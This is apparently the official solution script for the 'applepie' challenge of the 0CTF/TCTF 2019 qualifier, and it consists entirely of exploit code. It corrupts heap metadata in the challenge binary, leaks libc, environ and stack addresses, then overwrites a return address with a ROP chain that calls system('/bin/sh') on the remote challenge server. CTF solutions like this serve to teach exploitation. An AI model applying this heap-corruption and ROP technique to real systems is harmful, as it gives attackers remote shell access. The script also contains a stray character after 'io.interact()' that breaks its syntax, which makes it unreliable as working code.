Official solution for "applepie" of 0CTF/TCTF 2019 Quals

applepie.py

from zio import *

LOCAL = 0

while True:
    try:
        if LOCAL:
            io = zio('./applepie')
        else:
            io = zio(('111.186.63.147', 6666))

        def add(style, shape, size, name):
            io.read_until('Choice: ')
            io.writeline('1')
            io.read_until('Choice: ')
            io.writeline(str(style))
            io.read_until('Choice: ')
            io.writeline(str(shape))
            io.read_until('Size: ')
            io.writeline(str(size))
            io.read_until('Name: ')
            io.write(name)

        def show(idx):
            io.read_until('Choice: ')
            io.writeline('2')
            io.read_until('Index: ')
            io.writeline(str(idx))

        def update(idx, style, shape, size, name):
            io.read_until('Choice: ')
            io.writeline('3')
            io.read_until('Index: ')
            io.writeline(str(idx))
            io.read_until('Choice: ')
            io.writeline(str(style))
            io.read_until('Choice: ')
            io.writeline(str(shape))
            io.read_until('Size: ')
            io.writeline(str(size))
            io.read_until('Name: ')
            io.write(name)

        def delete(idx):
            io.read_until('Choice: ')
            io.writeline('4')
            io.read_until('Index: ')
            io.writeline(str(idx))

        add(1, 1, 0x30, '000000\n')
        add(2, 2, 0x30, '111111\n')
        add(3, 3, 0x30, '222222\n')
        add(4, 4, 0x30, '333333\n')
        delete(1)
        delete(2)
        # overwrite cksum and free size
        update(0, 1, 1, 0x48, '0' * 0x30 + l64(0x8000000000000000) * 2 + l64(0x30))
        delete(0)
        # offset to stdin
        add(1, 1, 0x330, '0' * 0x100 + l64(0x1fffffffffffffef) + '\n')
        show(3)
        io.read_until('Style: ')
        leak_data = io.read(6)
        if '\x7f' not in leak_data:
            continue
        leak_data = l64(leak_data.ljust(8, '\x00'))
        # _saved_environ 0x0000000000008c38
        _saved_environ = leak_data - 0x000000000008d110 + 0x0000000000091c38
        print '_saved_environ:', hex(_saved_environ)
        update(0, 1, 1, 0x330, '0' * 0x100 + l64(0) * 3 + l64(0x100) + l64(leak_data + 0x38) + '\n')
        show(3)
        io.read_until('Name: ')
        sclose = l64(io.read(6).ljust(8, '\x00'))
        libc = sclose - 0x000000000004285d
        system = libc + 0x00000000000638ed
        pop_rdi_rbp = libc + 0x1104
        bin_sh = libc + 0x85256
        print 'sclose:', hex(sclose)
        print 'libc:' ,hex(libc)
        print 'system:', hex(system)
        update(0, 1, 1, 0x330, '0' * 0x100 + l64(0) * 3 + l64(0x100) + l64(_saved_environ) + '\n')
        show(3)
        io.read_until('Name: ')
        stack_addr = l64(io.read(6).ljust(8, '\x00'))
        update_ret = stack_addr - 0x0000000000000068
        print 'stack_addr:', hex(stack_addr)
        print 'update_ret:', hex(update_ret)
        update(0, 1, 1, 0x330, '0' * 0x100 + l64(0) * 3 + l64(0x100) + l64(update_ret) + '\n')
        rop_chain = l64(pop_rdi_rbp) + l64(bin_sh) + l64(0) + l64(system)
        update(3, 4, 4, len(rop_chain), rop_chain)
        io.read_until('Success!\n')
        io.interact()s
        break
    except:
        io.close()
        continue